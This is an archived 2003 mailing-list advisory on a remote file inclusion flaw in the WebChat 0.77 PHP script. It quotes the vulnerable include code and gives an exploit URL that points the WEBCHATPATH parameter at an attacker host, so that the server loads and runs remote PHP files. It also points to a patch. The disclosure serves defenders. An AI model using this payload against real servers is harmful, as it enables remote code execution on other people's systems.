WebChat (PHP)

From: Frog Man (leseulfrogat_private)
Date: Mon Mar 03 2003 - 04:57:43 PST

  • Next message: infoat_private: "Implementation flaws in Adobe Document Server for Reader Extensions" 

    Informations :
같같같같같같같
Version : 0.77
Website : http://www.webdev.ro
Problem : File Including


PHP Code/Location :
같같같같같같같같같�
defines.php :
-----------------------------------------------
<?
if (!isset($WEBCHATPATH)) {
	 $WEBCHATPATH = './';
}
include ($WEBCHATPATH.'db_mysql.php');
include ($WEBCHATPATH.'language/english.php');
[...]
-----------------------------------------------


Exploits :
같같같같같
http://[target]/defines.php?WEBCHATPATH=http://[attacker]/
with :
http://[attacker]/db_mysql.php and
http://[attacker]/language/english.php


Patch :
같같같�
A patch can be found on http://www.phpsecure.info (-> New Version !! :))



More Details :
같같같같같같같
In French :
http://www.frog-man.org/tutos/WebChat.txt




frog-m@n


_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis !  
http://messenger.fr.msn.be

    This archive was generated by hypermail 2b30 : Mon Mar 03 2003 - 08:05:25 PST